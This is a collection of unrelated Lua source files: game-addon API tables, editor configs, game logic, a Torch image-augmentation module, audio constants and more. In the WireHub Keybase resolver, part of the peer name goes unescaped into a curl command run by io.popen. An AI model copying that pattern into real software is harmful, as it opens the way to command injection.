{ Name = "found", Type = "bool", Nilable = false },
},
},
{
Name = "SetFriendNotesByIndex",
Type = "Function",
Arguments =
{
{ Name = "index", Type = "number", Nilable = false },
{ Name = "notes", Type = "string", Nilable = false },
},
},
{
Name = "SetSelectedFriend",
Type = "Function",
Arguments =
{
{ Name = "index", Type = "number", Nilable = false },
},
},
{
Name = "SetSelectedIgnore",
Type = "Function",
Arguments =
{
{ Name = "index", Type = "number", Nilable = false },
},
},
{
Name = "SetWhoToUi",
Type = "Function",
Arguments =
{
{ Name = "whoToUi", Type = "bool", Nilable = false },
},
},
{
Name = "ShowFriends",
Type = "Function",
},
{
Name = "SortWho",
Type = "Function",
Arguments =
{
{ Name = "sorting", Type = "string", Nilable = false },
},
},
},
Events =
{
{
Name = "BattletagInviteShow",
Type = "Event",
LiteralName = "BATTLETAG_INVITE_SHOW",
Payload =
{
{ Name = "name", Type = "string", Nilable = false },
},
},
{
Name = "BnBlockFailedTooMany",
Type = "Event",
LiteralName = "BN_BLOCK_FAILED_TOO_MANY",
Payload =
{
{ Name = "blockType", Type = "string", Nilable = false },
},
},
{
Name = "BnBlockListUpdated",
Type = "Event",
LiteralName = "BN_BLOCK_LIST_UPDATED",
},
{
Name = "BnChatWhisperUndeliverable",
Type = "Event",
LiteralName = "BN_CHAT_WHISPER_UNDELIVERABLE",
Payload =
{
{ Name = "senderID", Type = "number", Nilable = false },
},
},
{
Name = "BnConnected",
Type = "Event",
LiteralName = "BN_CONNECTED",
Payload =
{
{ Name = "suppressNotification", Type = "bool", Nilable = false, Default = false },
},
},
{
Name = "BnCustomMessageChanged",
Type = "Event",
LiteralName = "BN_CUSTOM_MESSAGE_CHANGED",
Payload =
{
{ Name = "id", Type = "number", Nilable = true },
},
},
{
Name = "BnCustomMessageLoaded",
Type = "Event",
LiteralName = "BN_CUSTOM_MESSAGE_LOADED",
},
{
Name = "BnDisconnected",
Type = "Event",
LiteralName = "BN_DISCONNECTED",
Payload =
{
{ Name = "result", Type = "bool", Nilable = false },
{ Name = "suppressNotification", Type = "bool", Nilable = false, Default = false },
},
},
{
Name = "BnFriendAccountOffline",
Type = "Event",
LiteralName = "BN_FRIEND_ACCOUNT_OFFLINE",
Payload =
{
{ Name = "friendId", Type = "number", Nilable = false },
{ Name = "isCompanionApp", Type = "bool", Nilable = false, Default = false },
},
},
{
Name = "BnFriendAccountOnline",
Type = "Event",
LiteralName = "BN_FRIEND_ACCOUNT_ONLINE",
Payload =
{
{ Name = "friendId", Type = "number", Nilable = false },
{ Name = "isCompanionApp", Type = "bool", Nilable = false, Default = false },
},
},
{
Name = "BnFriendInfoChanged",
Type = "Event",
LiteralName = "BN_FRIEND_INFO_CHANGED",
Payload =
{
{ Name = "friendIndex", Type = "number", Nilable = true },
},
},
{
Name = "BnFriendInviteAdded",
Type = "Event",
LiteralName = "BN_FRIEND_INVITE_ADDED",
Payload =
{
{ Name = "accountID", Type = "number", Nilable = false },
},
},
{
Name = "BnFriendInviteListInitialized",
Type = "Event",
LiteralName = "BN_FRIEND_INVITE_LIST_INITIALIZED",
Payload =
{
{ Name = "listSize", Type = "number", Nilable = false },
},
},
{
Name = "BnFriendInviteRemoved",
Type = "Event",
LiteralName = "BN_FRIEND_INVITE_REMOVED",
},
{
Name = "BnFriendListSizeChanged",
Type = "Event",
LiteralName = "BN_FRIEND_LIST_SIZE_CHANGED",
Payload =
{
{ Name = "accountID", Type = "number", Nilable = true },
},
},
{
Name = "BnInfoChanged",
Type = "Event",
LiteralName = "BN_INFO_CHANGED",
},
{
Name = "BnRequestFofSucceeded",
Type = "Event",
LiteralName = "BN_REQUEST_FOF_SUCCEEDED",
},
{
Name = "FriendlistUpdate",
Type = "Event",
LiteralName = "FRIENDLIST_UPDATE",
},
{
Name = "IgnorelistUpdate",
Type = "Event",
LiteralName = "IGNORELIST_UPDATE",
},
{
Name = "MutelistUpdate",
Type = "Event",
LiteralName = "MUTELIST_UPDATE",
},
{
Name = "WhoListUpdate",
Type = "Event",
LiteralName = "WHO_LIST_UPDATE",
},
},
Tables =
{
{
Name = "FriendInfo",
Type = "Structure",
Fields =
{
{ Name = "connected", Type = "bool", Nilable = false },
{ Name = "name", Type = "string", Nilable = false },
{ Name = "className", Type = "string", Nilable = true },
{ Name = "area", Type = "string", Nilable = true },
{ Name = "notes", Type = "string", Nilable = true },
{ Name = "guid", Type = "string", Nilable = false },
{ Name = "level", Type = "number", Nilable = false },
{ Name = "dnd", Type = "bool", Nilable = false },
{ Name = "afk", Type = "bool", Nilable = false },
{ Name = "rafLinkType", Type = "RafLinkType", Nilable = false },
{ Name = "mobile", Type = "bool", Nilable = false },
},
},
{
Name = "WhoInfo",
Type = "Structure",
Fields =
{
{ Name = "fullName", Type = "string", Nilable = false },
{ Name = "fullGuildName", Type = "string", Nilable = false },
{ Name = "level", Type = "number", Nilable = false },
{ Name = "raceStr", Type = "string", Nilable = false },
{ Name = "classStr", Type = "string", Nilable = false },
{ Name = "area", Type = "string", Nilable = false },
{ Name = "filename", Type = "string", Nilable = true },
{ Name = "gender", Type = "number", Nilable = false },
},
},
},
};
APIDocumentation:AddDocumentationTable(FriendList);
|
registerNpc(346, {
walk_speed = 200,
run_speed = 700,
scale = 140,
r_weapon = 1064,
l_weapon = 0,
level = 95,
hp = 27,
attack = 399,
hit = 213,
def = 301,
res = 346,
avoid = 143,
attack_spd = 95,
is_magic_damage = 1,
ai_type = 128,
give_exp = 77,
drop_type = 377,
drop_money = 10,
drop_item = 48,
union_number = 48,
need_summon_count = 0,
sell_tab0 = 0,
sell_tab1 = 0,
sell_tab2 = 0,
sell_tab3 = 0,
can_target = 0,
attack_range = 1200,
npc_type = 7,
hit_material_type = 1,
face_icon = 0,
summon_mob_type = 0,
quest_type = 0,
height = 0
});
function OnInit(entity)
return true
end
function OnCreate(entity)
return true
end
function OnDelete(entity)
return true
end
function OnDead(entity)
end
function OnDamaged(entity)
end
|
local mpv_scripts_dir_path = os.getenv("HOME") .. "/.config/mpv/scripts/"
function load(relative_path) dofile(mpv_scripts_dir_path .. relative_path) end
load("mpvSockets/mpvSockets.lua")
|
local omar = 1
if true then
print (omar)
end
print(225/2)
|
-- Petit script pour démarrer le mode configuration WIFI du NodeMCU
print("\n wifi_cnf_start.lua zf180824.2000 \n")
print("\nwifi config http://192.168.4.1\n")
dofile("wifi_get_ip.lua")
enduser_setup.start()
|
--[[ local lspconfig = require("lspconfig")
|
local event = require('cmp.utils.event')
local autocmd = require('cmp.utils.autocmd')
local feedkeys = require('cmp.utils.feedkeys')
local config = require('cmp.config')
local types = require('cmp.types')
local keymap = require('cmp.utils.keymap')
local misc = require('cmp.utils.misc')
local api = require('cmp.utils.api')
---@class cmp.CustomEntriesView
---@field private offset number
---@field private active boolean
---@field private entries cmp.Entry[]
---@field public event cmp.Event
local statusline_entries_view = {}
statusline_entries_view.ns = vim.api.nvim_create_namespace('cmp.view.statusline_entries_view')
statusline_entries_view.init = function(self)
self.event = event.new()
self.offset = -1
self.active = false
self.entries = {}
self.org_statusline = nil
self.selected_index = nil
self.last_displayed_indices = {}
self.moving_forwards = nil
end
statusline_entries_view.new = function()
local self = setmetatable({}, { __index = statusline_entries_view })
self:init()
autocmd.subscribe(
'CompleteChanged',
vim.schedule_wrap(function()
if self:visible() and vim.fn.pumvisible() == 1 then
self:close()
end
end)
)
return self
end
statusline_entries_view.close = function(self)
if self.org_statusline ~= nil then
vim.o.statusline = self.org_statusline
end
self:init()
end
statusline_entries_view.ready = function()
return vim.fn.pumvisible() == 0
end
statusline_entries_view.on_change = function(self)
self.active = false
end
statusline_entries_view.open = function(self, offset, entries)
if self.org_statusline == nil then
self.org_statusline = vim.o.statusline
end
self.offset = offset
self.entries = {}
self.last_displayed_indices = {}
local lines = {}
local dedup = {}
local preselect = 0
local i = 1
for _, e in ipairs(entries) do
local view = e:get_view(offset, 0)
if view.dup == 1 or not dedup[e.completion_item.label] then
dedup[e.completion_item.label] = true
table.insert(self.entries, e)
table.insert(lines, ' ')
if preselect == 0 and e.completion_item.preselect then
preselect = i
end
i = i + 1
end
end
if preselect > 0 and config.get().preselect == types.cmp.PreselectMode.Item then
self:_select(preselect, { behavior = types.cmp.SelectBehavior.Select })
elseif not string.match(config.get().completion.completeopt, 'noselect') then
self:_select(1, { behavior = types.cmp.SelectBehavior.Select })
else
self:_select(nil, { behavior = types.cmp.SelectBehavior.Select })
end
end
statusline_entries_view.abort = function(self)
feedkeys.call('', 'n', function()
self:close()
end)
end
-- format entry for status line.
-- only use the 'abbr' field
-- return formatted text, original text, view length
statusline_entries_view.highlight_entry = function(self, entry)
local view = entry:get_view(self.offset, 0)
local word = view['abbr'].text
local view_length = view['abbr'].bytes
local hl_group = '%#' .. view['abbr'].hl_group .. '#'
local fuzzy_group = '%#' .. 'CmpItemAbbrMatchFuzzy' .. '#'
local match_group = '%#' .. 'CmpItemAbbrMatch' .. '#'
local text = {hl_group}
local last_offset = 1
for _, m in ipairs(entry.matches or {}) do
if m.word_match_start > last_offset then
-- add everything b4 m.word_match_start
table.insert(text, word:sub(last_offset, m.word_match_start - 1))
end
table.insert(text, m.fuzzy and fuzzy_group or match_group)
table.insert(text, word:sub(m.word_match_start, m.word_match_end))
table.insert(text, hl_group)
last_offset = m.word_match_end + 1
end
table.insert(text, '%#Normal#')
table.insert(text, word:sub(last_offset))
return table.concat(text, ''), word, view_length
end
statusline_entries_view.draw = function(self)
local texts = {}
local lengths = {}
for i, e in ipairs(self.entries) do
if e then
local formatted_text, text, view_length = self:highlight_entry(e)
if i == self.selected_index then
formatted_text = '%#CursorLine#' .. text .. '%#Normal#'
end
table.insert(lengths, view_length)
table.insert(texts, formatted_text)
end
end
local selected_index = (self.selected_index or 1)
local start_index = (self.selected_index or 1)
local lst_dspl_ind = self.last_displayed_indices
if #lst_dspl_ind == 0 then
start_index = start_index
elseif vim.tbl_contains(lst_dspl_ind, selected_index) then
start_index = lst_dspl_ind[1]
-- elseif start_index > lst_dspl_ind[#lst_dspl_ind] then
elseif self.moving_forwards then
local needed_length = lengths[selected_index]
start_index = lst_dspl_ind[1]
while needed_length > 0 and vim.tbl_contains(lst_dspl_ind, start_index) do
needed_length = needed_length - lengths[start_index]
start_index = start_index + 1
end
else -- we need to scroll back
local needed_length = lengths[selected_index]
start_index = lst_dspl_ind[1]
while needed_length > 0 and vim.tbl_contains(lst_dspl_ind, start_index) do
needed_length = needed_length - lengths[start_index]
start_index = start_index - 1
if start_index <= 0 then
start_index = #self.entries
end
end
end
local statusline = {}
local total_length = 0
local displayed_indices = {}
for index = start_index, #self.entries * 2 do
if index > #self.entries then
index = index - #self.entries
end
if total_length + lengths[index] < vim.api.nvim_win_get_width(0) then
if total_length ~= 0 and index == start_index then
break
end
table.insert(statusline, texts[index])
table.insert(displayed_indices, index)
-- add 1 for the space between items
total_length = total_length + lengths[index] + 1
else
break
end
end
statusline = table.concat(statusline, '|')
self.last_displayed_indices = displayed_indices
vim.o.statusline = statusline
vim.api.nvim_win_call(0, function()
misc.redraw()
end)
end
statusline_entries_view.visible = function(self)
return self.org_statusline ~= nil
end
statusline_entries_view.info = function(self)
return nil
end
statusline_entries_view.select_next_item = function(self, option)
if self:visible() then
self.moving_forwards = true
if self.selected_index == nil or self.selected_index == #self.entries then
self:_select(1, option)
else
self:_select(self.selected_index + 1, option)
end
end
end
statusline_entries_view.select_prev_item = function(self, option)
if self:visible() then
self.moving_forwards = false
if self.selected_index == nil or self.selected_index <= 1 then
self:_select(#self.entries, option)
else
self:_select(self.selected_index - 1, option)
end
end
end
statusline_entries_view.get_first_entry = function(self)
if self:visible() then
return self.entries[1]
end
end
statusline_entries_view.get_selected_entry = function(self)
if self:visible() and self.active then
return self.entries[self.selected_index]
end
end
statusline_entries_view.get_active_entry = function(self)
if self:visible() and self.active then
return self:get_selected_entry()
end
end
statusline_entries_view._select = function(self, selected_index, option)
self.selected_index = selected_index
self.active = (selected_index ~= nil)
if self.active then
local cursor = api.get_cursor()
local word = self:get_active_entry():get_vim_item(self.offset).word
local length = vim.fn.strchars(string.sub(api.get_current_line(), self.offset, cursor[2]), true)
vim.api.nvim_feedkeys(keymap.backspace(length) .. word, 'int', true)
end
self:draw()
self.event:emit('change')
end
return statusline_entries_view
|
return Def.Quad{
InitCommand=cmd(Center;FullScreen;diffuse,color("0,0,0,0"););
OnCommand=cmd(linear,0.3;diffusealpha,0.75);
};
|
local math2d = require("math2d")
local BulletBase = class("BulletBase")
BulletBase.FLAG_NORMAL = 0
BulletBase.FLAG_FROM_SKILL = 1
function BulletBase:ctor(source, target, sprite, delay)
self.source_ = source
self.target_ = target
self.sprite_ = sprite
self.delay_ = checknumber(delay)
self.flag_ = 0
self.damage_ = math.random(source.minDamage_, source.maxDamage_)
self.damageScale_ = 1
self.hit_ = math.random(100) <= source.hitrate_
self.critical_ = math.random(100) <= source.critical_
self.startX_ = source.x_ + source.radiusOffsetX_ + source.fireOffsetX_
self.startY_ = source.y_ + source.radiusOffsetY_ + source.fireOffsetY_
self.prevX_ = self.startX_
self.prevY_ = self.startY_
self.time_ = 0
self.over_ = false
self.isBegan_ = false
end
function BulletBase:setFlag(flag)
self.flag_ = flag
end
function BulletBase:getView()
return self.sprite_
end
function BulletBase:removeView()
self.sprite_:removeSelf()
end
function BulletBase:tick(dt)
if not self.isBegan_ then
if self.delay_ <= 0 then
self:fireBegan()
else
self.delay_ = self.delay_ - dt
return
end
end
self.time_ = self.time_ + dt
self:tickBullet(dt)
end
function BulletBase:fireBegan()
if self.source_.destroyed_ then
self.time_ = 0
self.over_ = true
self.isBegan_ = false
return
end
local source = self.source_
self.startX_ = source.x_ + source.radiusOffsetX_ + source.fireOffsetX_
self.startY_ = source.y_ + source.radiusOffsetY_ + source.fireOffsetY_
self.prevX_ = self.startX_
self.prevY_ = self.startY_
self.isBegan_ = true
end
function BulletBase:tickBullet(dt)
end
function BulletBase:checkHit()
if not self.hit_ then
self:miss()
return false
end
local target = self.target_
if target and (target.collisionLock_ > 0 or not target.collisionEnabled_ or target.destroyed_) then
self:miss()
return false
end
local x, y = self.sprite_:getPosition()
local targetX = target.x_ + target.radiusOffsetX_
local targetY = target.y_ + target.radiusOffsetY_
if math2d.dist(x, y, targetX, targetY) <= target.radius_ then
self:hit()
return true
end
self:miss()
return false
end
function BulletBase:hit()
end
function BulletBase:miss()
end
function BulletBase:isOver()
return self.over_
end
return BulletBase
|
-- load lualine and plenary
vim.api.nvim_exec([[
set rtp+=.
set rtp+=../plenary.nvim
]], false)
|
-- Keybase Name reSolver example
--
-- WireHub can assign names to peers through a private network configuration
-- file. It does not provide any native decentralized name resolver to find the
-- key of a peer given its name. This is considered out of the scope of WireHub,
-- as many solutions exist and depend on the requirements of the private
-- network (e.g. DNS, namecoin, Keybase, ...).
--
-- However, it is possible to implement a name resolver and plug it to WireHub
-- to make it able to resolve peer's names. This file shows an example of name
-- resolving using Keybase (https://keybase.io/)
--
-- # Example: Keybase
--
-- This example takes advantage of the Keybase filesystem to resolve peer's
-- name. Each Keybase user may make a directory named 'wirehub/' in the root of
-- its public folder. Each file in the 'wirehub/' directory is named after a
-- subdomain, and contains the base64 form of the peer's public key.
--
-- Peer's names resolvable via Keybase are of the form:
--
-- <user>.kb.wh
-- ... or ...
-- <subdomain>.<user>.kb.wh
--
-- The base64 key of 'foo.bar.kb.wh' is stored in the file
-- '/keybase/public/bar/wirehub/foo'. If no subdomain is defined, the file name
-- is 'default' (e.g. 'bar.kb.wh' => '/keybase/public/bar/wirehub/default')
--
-- For example, see https://keybase.pub/gawenr/wirehub/
local TIMEOUT = 2
local CMD = string.format("curl -m %s -s ", TIMEOUT)
local function generate_url(path)
local hostname, user = string.match(path, "(.+)%.(.+)")
if not hostname and not user then
user = path
hostname = "default"
end
return string.format("https://%s.keybase.pub/wirehub/%s", user, hostname)
end
return function(n, k, cb)
local path = string.match(k, "(.+)%.kb.wh")
if not path then
return cb(nil)
end
local url = generate_url(path)
local cmd = CMD .. url
n.ns.worker:pcall(
function(ok, resp)
if resp then
local ok, k = pcall(wh.fromb64, resp)
if ok then
return cb(k)
end
end
return cb(nil)
end,
function(cmd)
return io.popen(cmd):read()
end,
cmd
)
end
|
require 'image'
require 'nn'
function originalToNormalized(s)
local prune = false
if s:size(1) == 37 then
local t = torch.zeros(38)
t[{{2,38}}] = s
s = t
prune = true
end
o = s:clone()
-- class 1 (already normalized)
local sum = s[2] + s[3] + s[4]
if math.abs(sum - 1.0) > 1e-4 then
print(s)
end
assert(math.abs(sum - 1.0) <= 1e-4, 'Class1')
-- class 2
sum = s[5] + s[6]
if sum ~= 0 then
o[5] = s[5] / sum
o[6] = s[6] / sum
end
assert(math.abs(sum - s[3]) <= 1e-4, 'Class2')
-- class 3
sum = s[7] + s[8]
if sum ~= 0 then
o[7] = s[7] / sum
o[8] = s[8] / sum
end
assert(math.abs(sum - s[6]) <= 1e-4, 'Class3,' .. sum .. ',' .. s[6])
-- class 4
sum = s[9] + s[10]
if sum ~= 0 then
o[9] = s[9] / sum
o[10] = s[10] / sum
end
assert(math.abs(sum - (s[7] + s[8])) <= 1e-4, 'Class4,'
.. sum .. ',' .. s[7] .. ',' .. s[8])
-- class 5
sum = s[11] + s[12] + s[13] + s[14]
if sum ~= 0 then
o[11] = s[11] / sum
o[12] = s[12] / sum
o[13] = s[13] / sum
o[14] = s[14] / sum
end
assert(math.abs(sum - (s[10] + s[33]+ s[34]+ s[35]
+ s[36]+ s[37]+ s[38])) <= 1e-4, 'Class5')
-- class 6 (already normalized)
sum = s[15] + s[16]
assert(math.abs(sum - 1.0) <= 1e-4, 'Class6')
-- class 7
sum = s[17] + s[18] + s[19]
if sum ~= 0 then
o[17] = s[17] / sum
o[18] = s[18] / sum
o[19] = s[19] / sum
end
assert(math.abs(sum - s[2]) <= 1e-4, 'Class7')
-- class 8
sum = s[20] + s[21] + s[22] + s[23]
+ s[24] + s[25] + s[26]
if sum ~= 0 then
o[20] = s[20] / sum
o[21] = s[21] / sum
o[22] = s[22] / sum
o[23] = s[23] / sum
o[24] = s[24] / sum
o[25] = s[25] / sum
o[26] = s[26] / sum
end
assert(math.abs(sum - s[15]) <= 1e-4, 'Class8')
-- class 9
sum = s[27] + s[28] + s[29]
if sum ~= 0 then
o[27] = s[27] / sum
o[28] = s[28] / sum
o[29] = s[29] / sum
end
assert(math.abs(sum - s[5]) <= 1e-4, 'Class9')
-- class 10
sum = s[30] + s[31] + s[32]
if sum ~= 0 then
o[30] = s[30] / sum
o[31] = s[31] / sum
o[32] = s[32] / sum
end
assert(math.abs(sum - s[9]) <= 1e-4, 'Class10')
-- class 11
sum = s[33] + s[34] + s[35]
+ s[36] + s[37] + s[38]
if sum ~= 0 then
o[33] = s[33] / sum
o[34] = s[34] / sum
o[35] = s[35] / sum
o[36] = s[36] / sum
o[37] = s[37] / sum
o[38] = s[38] / sum
end
assert(math.abs(sum - (s[30]+s[31]+s[32])) <= 1e-4, 'Class11')
if prune then
o = o[{{2,38}}]
end
return o;
end
function normalizedToOriginal(s)
local prune = false
if s:size(1) == 37 then
local t = torch.zeros(38)
t[{{2,38}}] = s
s = t
prune = true
end
-- sample is a tensor of size 38.
local o = s:clone()
-- class 2
o[5] = o[5] * s[3]
o[6] = o[6] * s[3]
-- class 3
o[7] = o[7] * o[6]
o[8] = o[8] * o[6]
-- class 4
o[9] = o[9] * (o[7] + o[8])
o[10] = o[10] * (o[7] + o[8])
-- class 10
o[30] = o[30] * o[9]
o[31] = o[31] * o[9]
o[32] = o[32] * o[9]
-- class 11
o[33] = o[33] * (o[30]+o[31]+o[32])
o[34] = o[34] * (o[30]+o[31]+o[32])
o[35] = o[35] * (o[30]+o[31]+o[32])
o[36] = o[36] * (o[30]+o[31]+o[32])
o[37] = o[37] * (o[30]+o[31]+o[32])
o[38] = o[38] * (o[30]+o[31]+o[32])
-- class 5
o[11] = o[11] * (o[10] + o[33] + o[34] + o[35] + o[36] + o[37] + o[38])
o[12] = o[12] * (o[10] + o[33] + o[34] + o[35] + o[36] + o[37] + o[38])
o[13] = o[13] * (o[10] + o[33] + o[34] + o[35] + o[36] + o[37] + o[38])
o[14] = o[14] * (o[10] + o[33] + o[34] + o[35] + o[36] + o[37] + o[38])
-- class 6 (already normalized)
-- class 7
o[17] = o[17] * o[2]
o[18] = o[18] * o[2]
o[19] = o[19] * o[2]
-- class 8
o[20] = o[20] * o[15]
o[21] = o[21] * o[15]
o[22] = o[22] * o[15]
o[23] = o[23] * o[15]
o[24] = o[24] * o[15]
o[25] = o[25] * o[15]
o[26] = o[26] * o[15]
-- class 9
o[27] = o[27] * o[5]
o[28] = o[28] * o[5]
o[29] = o[29] * o[5]
if prune then
o = o[{{2,38}}]
end
return o
end
function jitter(s)
local d = torch.rand(10)
-- vflip
if d[1] > 0.5 then
s = image.vflip(s)
end
-- hflip
if d[2] > 0.5 then
s = image.hflip(s)
end
-- rotation
if d[3] > 0.5 then
s = image.rotate(s, math.pi * d[4])
end
-- crop a 0.9 to 1.1 sized random patch and resize it to 128
if d[5] > 0.5 then
local scalef = torch.uniform(0.9, 1.1)
local size = {3, sampleSize[2] * scalef, sampleSize[3] * scalef}
local startX = math.ceil(d[6] * (loadSize[2] - size[2] - 1))
local startY = math.ceil(d[7] * (loadSize[3] - size[3] - 1))
local endX = startX + size[2]
local endY = startY + size[3]
s = image.crop(s, startX, startY, endX, endY)
-- now rescale it to sampleSize
s = image.scale(s, sampleSize[2], sampleSize[3])
else
-- crop a sampleSize[2]xsampleSize[3] random patch
local startX = math.ceil(d[6] * (loadSize[2] - sampleSize[2] - 1))
local startY = math.ceil(d[7] * (loadSize[3] - sampleSize[3] - 1))
local endX = startX + sampleSize[2]
local endY = startY + sampleSize[3]
s = image.crop(s, startX, startY, endX, endY)
end
return s
end
function branchIndices(n)
if n == 1 then return {{1,3}}
elseif n == 2 then return {{4,5}}
elseif n == 3 then return {{6,7}}
elseif n == 4 then return {{8,9}}
elseif n == 5 then return {{10,13}}
elseif n == 6 then return {{14,15}}
elseif n == 7 then return {{16,18}}
elseif n == 8 then return {{19,25}}
elseif n == 9 then return {{26,28}}
elseif n == 10 then return {{29,31}}
elseif n == 11 then return {{32,37}} end
end
-- have 128 deterministic outputs for each input
--[[
original
- rotate 0
- rotate 90
- rotate -90
- rotate 180
- rotate further 0
- rotate further 45
- rotate further 30
- rotate further 60
- translate 0
- translate -10px (x) 0px (y)
- translate +10px (x) 0px (y)
- translate 0px (x) -10px (y)
- translate 0px (x) +10px (y)
- translate -10px (x) -10px (y)
- translate +10px (x) -10px (y)
- translate +10px (x) +10px (y)
vflip
- rotate 0
- rotate 90
- rotate -90
- rotate 180
- rotate further 0
- rotate further 45
- rotate further 30
- rotate further 60
- translate 0
- translate -10px (x) 0px (y)
- translate +10px (x) 0px (y)
- translate 0px (x) -10px (y)
- translate 0px (x) +10px (y)
- translate -10px (x) -10px (y)
- translate +10px (x) -10px (y)
- translate +10px (x) +10px (y)
Total number: 2 * 4 * 4 * 8 = 256
]]--
local function test_t(im, o)
local x1 = math.ceil((loadSize[2] - sampleSize[2])/2)
local size = sampleSize[2]
local t = math.floor(loadSize[2] * 0.04)
o[1] = image.crop(im, x1, x1, x1+size, x1+size) -- center patch
o[2] = image.crop(im, x1-t, x1, x1-t+size, x1+size)
o[3] = image.crop(im, x1+t, x1, x1+t+size, x1+size)
o[4] = image.crop(im, x1, x1-t, x1+size, x1-t+size)
o[5] = image.crop(im, x1, x1+t, x1+size, x1+t+size)
o[6] = image.crop(im, x1-t, x1-t, x1-t+size, x1-t+size)
o[7] = image.crop(im, x1+t, x1-t, x1+t+size, x1-t+size)
o[8] = image.crop(im, x1+t, x1+t, x1+t+size, x1+t+size)
end
local function test_rt(im, o)
-- rotate further 0
test_t(im, o[{{1,8},{},{},{}}])
-- rotate further 45
local im2 =image.rotate(im, math.pi/4)
test_t(im2, o[{{9,16},{},{},{}}])
-- rotate further 30
im2 =image.rotate(im, math.pi/6)
test_t(im2, o[{{17,24},{},{},{}}])
-- rotate further 60
im2 =image.rotate(im, math.pi/3)
test_t(im2, o[{{25,32},{},{},{}}])
end
local function test_rrt(im, o, lightTesting)
-- rotate 0
test_rt(im, o[{{1,32},{},{},{}}])
if not lightTesting then
-- rotate -90
local minus90 = torch.Tensor(im:size())
for i=1,3 do
minus90[i] = im[i]:t()
end
test_rt(minus90, o[{{33,64},{},{},{}}])
-- rotate 90
local plus90 = image.hflip(image.vflip(minus90))
test_rt(plus90, o[{{65,96},{},{},{}}])
-- rotate 180
local plus180 = image.hflip(image.vflip(im))
test_rt(plus180, o[{{97,128},{},{},{}}])
end
end
function expandTestSample(im, lightTesting)
-- produce the 256 combos, given an input image (3D tensor)
local o
if lightTesting then
o = torch.Tensor(32, sampleSize[1], sampleSize[2], sampleSize[3])
test_rrt(im, o[{{1,32},{},{},{}}], lightTesting)
else
o = torch.Tensor(256, sampleSize[1], sampleSize[2], sampleSize[3])
-- original
test_rrt(im, o[{{1,128},{},{},{}}], lightTesting)
-- vflip
test_rrt(image.vflip(im), o[{{129,256},{},{},{}}], lightTesting)
end
for i=1,o:size(1) do
o[i]:add(-o[i]:mean())
o[i]:div(o[i]:std())
end
if bmode == 'BDHW' then
return o
else
return o
end
end
|
function Save(level, health, lives)
file = io.open("save.lua", "w")
file:write("return { \n")
file:write("\tlevel = ", level, ",", "\n")
file:write("\thealth = ", health, ",", "\n")
file:write("\tlives = ", lives, "\n")
file:write("}")
file:close()
end
Save(20, 10, 2)
--[[gameData = require("save")
print("Loaded:")
print("\tlevel: " .. gameData.level)
print("\thealth: " .. gameData.health)
print("\tlives: " .. gameData.lives)--]]
Save(20, 10, 2)
gameData = dofile("save.lua")
print("Loaded:")
print("\tlevel: " .. gameData.level)
print("\thealth: " .. gameData.health)
print("\tlives: " .. gameData.lives)
Save(10, 10, 5)
gameData = dofile("save.lua")
print("Loaded:")
print("\tlevel: " .. gameData.level)
print("\thealth: " .. gameData.health)
print("\tlives: " .. gameData.lives)
|
CaerdonConsumable = {}
CaerdonConsumableMixin = {}
--[[static]] function CaerdonConsumable:CreateFromCaerdonItem(caerdonItem)
if type(caerdonItem) ~= "table" or not caerdonItem.GetCaerdonItemType then
error("Usage: CaerdonConsumable:CreateFromCaerdonItem(caerdonItem)", 2)
end
local itemType = CreateFromMixins(CaerdonConsumableMixin)
itemType.item = caerdonItem
return itemType
end
|
local fs = require('fs')
local pathjoin = require('pathjoin')
local stat = fs.statSync
local pathJoin = pathjoin.pathJoin
local isWindows = pathjoin.isWindows
local FFMPEG
local pre = isWindows and '' or './'
local exe = isWindows and 'ffmpeg.exe' or 'ffmpeg'
local sep = isWindows and ';' or ':'
local function exists(path)
local data = stat(path)
return data and data.type == 'file'
end
if exists(exe) then
FFMPEG = pre .. exe
else
for dir in (process.env.PATH .. sep):gmatch('(.-)' .. sep) do
if exists(pathJoin(dir, exe)) then
FFMPEG = exe
break
end
end
end
local CHANNELS = 2
local SAMPLE_RATE = 48000
local FRAME_DURATION = 20 -- ms
local FRAME_SIZE = SAMPLE_RATE * FRAME_DURATION / 1000
local PCM_SIZE = FRAME_SIZE * CHANNELS * 2
return {
CHANNELS = CHANNELS,
SAMPLE_RATE = SAMPLE_RATE,
MAX_DURATION = math.huge,
FRAME_DURATION = FRAME_DURATION,
FRAME_SIZE = FRAME_SIZE,
PCM_SIZE = PCM_SIZE,
PCM_LEN = PCM_SIZE / 2,
SILENCE = '\xF8\xFF\xFE',
FFMPEG = FFMPEG,
MAX_BITRATE = 128000,
MIN_BITRATE = 8000,
MODE = 'xsalsa20_poly1305',
}
|
local utils = assert(require 'mistress.utils')
local inspect = assert(require 'mistress.inspect')
local _M = utils.module()
_M.Connection = utils.Object:inherit()
function _M.Connection:init ()
self.fd = nil
self._finalizers = {}
end
function _M.Connection:add_finalizer (finalize)
table.insert(self._finalizers, finalize)
end
function _M.Connection:close (leave_fin)
local fs = self._finalizers
for i = #fs, 1, -1 do
fs[i](leave_fin)
end
end
return _M
|
local HTTP = {}
function HTTP:urlhash(str)
local strlen = #str
local blocks = 4
local hash = ""
local memblock = {}
if strlen < blocks then
blocks = 1
end
local lastInc = 0
for i = 1, blocks do
local pos = math.floor((i / blocks) * strlen)
memblock[i] = util.CRC(string.sub(str, lastInc + 1, pos))
lastInc = pos
end
for _, v in ipairs(memblock) do
hash = hash .. string.format("%x", v)
end
hash = string.upper(hash)
return hash
end
function HTTP:GetExtension(path)
return string.GetExtensionFromFilename(path:gsub("?(.*)", ""))
end
function HTTP:Fetch(url, success, fail)
http.Fetch(
url,
function(body, size, headers, code)
if code >= 400 then
if fail then
fail(code, body)
end
return
end
success(body, size, headers, code)
end,
fail
)
end
return HTTP
|
local ipairs = ipairs
local pairs = pairs
local type = type
local require = require
local pcall = pcall
local string_lower = string.lower
local lor = require("lor.index")
local function load_plugin_api(plugin, api_router, store)
local plugin_api_path = "orange.plugins." .. plugin .. ".api"
local ok, plugin_api = pcall(require, plugin_api_path)
if not ok or not plugin_api or type(plugin_api) ~= "table" then
ngx.log(ngx.ERR, "[plugin's api load error], plugin_api_path:", plugin_api_path)
return
end
for uri, api_methods in pairs(plugin_api) do
ngx.log(ngx.INFO, "load route, uri:", uri)
if type(api_methods) == "table" then
for method, func in pairs(api_methods) do
local m = string_lower(method)
if m == "get" or m == "post" or m == "put" or m == "delete" then
api_router[m](api_router, uri, func(store))
end
end
end
end
end
return function(config, store)
local api_router = lor:Router()
local stat_api = require("orange.plugins.stat.api")
local orange_db = require("orange.store.orange_db")
--- 插件信息
-- 当前加载的插件,开启与关闭情况, 每个插件的规则条数等
api_router:get("/plugins", function(req, res, next)
local available_plugins = config.plugins
local plugins = {}
